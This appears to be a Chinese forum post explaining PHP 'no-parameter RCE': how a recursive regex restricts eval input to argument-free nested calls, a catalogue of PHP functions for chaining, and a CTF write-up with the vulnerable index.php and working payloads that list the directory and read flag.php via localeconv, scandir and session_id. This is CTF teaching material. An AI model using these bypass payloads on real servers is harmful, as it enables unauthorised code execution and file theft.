无参数RCE

alert1   ·   发表于 2020-12-27 22:41:07   ·   技术文章

无参数RCE

无参数RCE就类似与在我们经常使用的一句话木马前面,加上了对对参数的过滤,过滤的正则一般类似于一道ctf题目给的这种。

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']){
    eval($_GET['exp']);
    }
[a-z,_]+ : 匹配小写字母和下划线_ 1次或多次
\( : 左括号
(?R) : 代表当前表达式,就是这个(/[a-z,_]+\((?R)?\)/),所以会一直递归
(?R)? : 递归当前表达式0次或1次
// (?R)* : 递归当前表达式0次或多次
\) : 右括号

这个正则只会匹配到
a();
a(b());
a(b(c()));
带上参数比如system('ls /');是匹配不到的,过不了判断条件,所以我们只能使用没有参数的函数来进行远程代码执行

我在理解这个正则的时候碰到了一些问题,下面是我的理解和测试的一些结果:
1.首先,这个正则是怎么匹配的呢,顺序是怎么样的
比如a(b(c()))这个格式的函数匹配的顺序如下:

整个正则可以分为三部分
一 [a-z,_]+\( 直到递归前面可以看作一个匹配整体
二 (?R)? 递归部分看作一个匹配整体
三 \) 递归后面的看作一个匹配整体
开始匹配,下面是匹配的顺序
a( //匹配上面第一个匹配整体,然后进入第一次递归
    b( //匹配上面第一个匹配整体,进入第二次递归
        c( //匹配上面第一个匹配整体,进入第三次递归
            //没有匹配第一个匹配整体,递归停止
        ) //匹配第二次递归剩下的表达式,即第三个匹配的整体\),
    )    //匹配第一次递归剩下的表达式,即\),
) //匹配原表达式剩下的表达式,即\),

2.(?R),(?R)?,(?R),(?R)+的区别
首先(?R) , (?R)+ 这两个表达式是匹配不到东西的,因为每次匹配的时候都会至少运行一次递归,无法终止,所以匹配不到任何东西。
(?R)?,递归0次或1次,非贪婪,只能匹配a(b())这种一层套一个函数的。
在这里插入图片描述在这里插入图片描述
(?R)\
,递归0次或多次,贪婪,可以匹配a(b(c()d()))
在这里插入图片描述

利用正则表达式递归过滤
参考:https://blog.csdn.net/technofiend/article/details/49906755
利用诸多php函数嵌套实现RCE
参考:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E4%BB%80%E4%B9%88%E6%98%AF%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE
个人理解,欢迎指导

下面这些函数有一部分是我从上面大佬的博客整理来的,方便进行整理和翻阅,再进行构造无参数函数RCE的时候可以相互组合使用。

常用函数

数组操作

array_flip

在这里插入图片描述

array_rand

在这里插入图片描述

array_reverse

在这里插入图片描述

current

在这里插入图片描述
类似的还有:
在这里插入图片描述

文件

file_get_contents()

将整个文件读入一个字符串

readfile()

读取文件并写入到输出缓冲。

highlight_file()[别名:show_source()]

语法高亮一个文件

scandir()

列出指定路径中的文件和目录

direname()

给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名。

getcwd()

取得当前工作目录。

chdir($directory)

将 PHP 的当前目录改为 directory。

读取环境变量

get_defined_vars()

此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

getenv

获取一个环境变量的值

localeconv()

返回一包含本地数字及货币格式信息的数组,第一个值一直是.

phpversion()

获取当前的PHP版本

会话

session_id

获取/设置当前会话 ID

session_start

启动新会话或者重用现有会话

其它

还有一些可以用到的函数,

  • chr():返回指定的字符

  • rand():产生一个随机整数

  • time():返回当前的 Unix 时间戳
  • localtime():取得本地时间
  • localtime(time()) 返回一个数组,Array [0] 为一个 0~60 之间的数字
  • hex2bin():转换十六进制字符串为二进制字符串
  • ceil():进一法取整
  • sinh():双曲正弦
  • cosh():双曲余弦
  • tan():正切
  • floor():舍去法取整
  • sqrt():平方根
  • crypt():单向字符串散列
  • hebrevc:将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符
  • hebrevc(crypt(arg)) [crypt(serialize(array()))]:可以随机生成一个 hash 值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过 ord chr 只取第一个字符
  • ord:返回字符串的第一个字符的 ASCII 码值。

[GXYCTF2019]禁止套娃 1

打开网站,只有一句话,其它什么也没有,直接用字典扫dir,发现有.git,使用githacker进行提取。拿到index.php源码。

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

发现有三层正则匹配,第一层过滤了一些伪协议,第二层就是无参数化了,第三层过滤了一些敏感函数(get,phpinfo,hex2bin,dirname……)。完全绕过后就可以执行代码了。

直接读取文件

先得到flag.php文件名。
scandir(‘.’)
. = current(localeconv())
scandir(current(localeconv()))查看当前目录
在这里插入图片描述
array_rand(array_flip())每次读取一个随机的文件名,多试几次就是flag.php
再读取文件
最后使用readfile或highlight_file读取文件
payload

?exp=print_r(highlight_file(array_rand(array_flip(scandir(current(localeconv()))))));

通过会话读取

先使用session_start()打开session服务,然后使用session_id() 可以获取到当前的 session id。
因此我们手动设置名为 PHPSESSID 的 cookie,并设置值为 flag.php
在这里插入图片描述
也可以用它执行部分命令
在这里插入图片描述

参考 https://www.gem-love.com/ctf/530.html?replytocom=5
这个也是我博客的一篇文章

用户名金币积分时间理由
veek 100.00 0 2020-12-28 09:09:02 期待更多干货~

打赏我,让我更有动力~

0 条回复   |  直到 2020-12-27 | 870 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.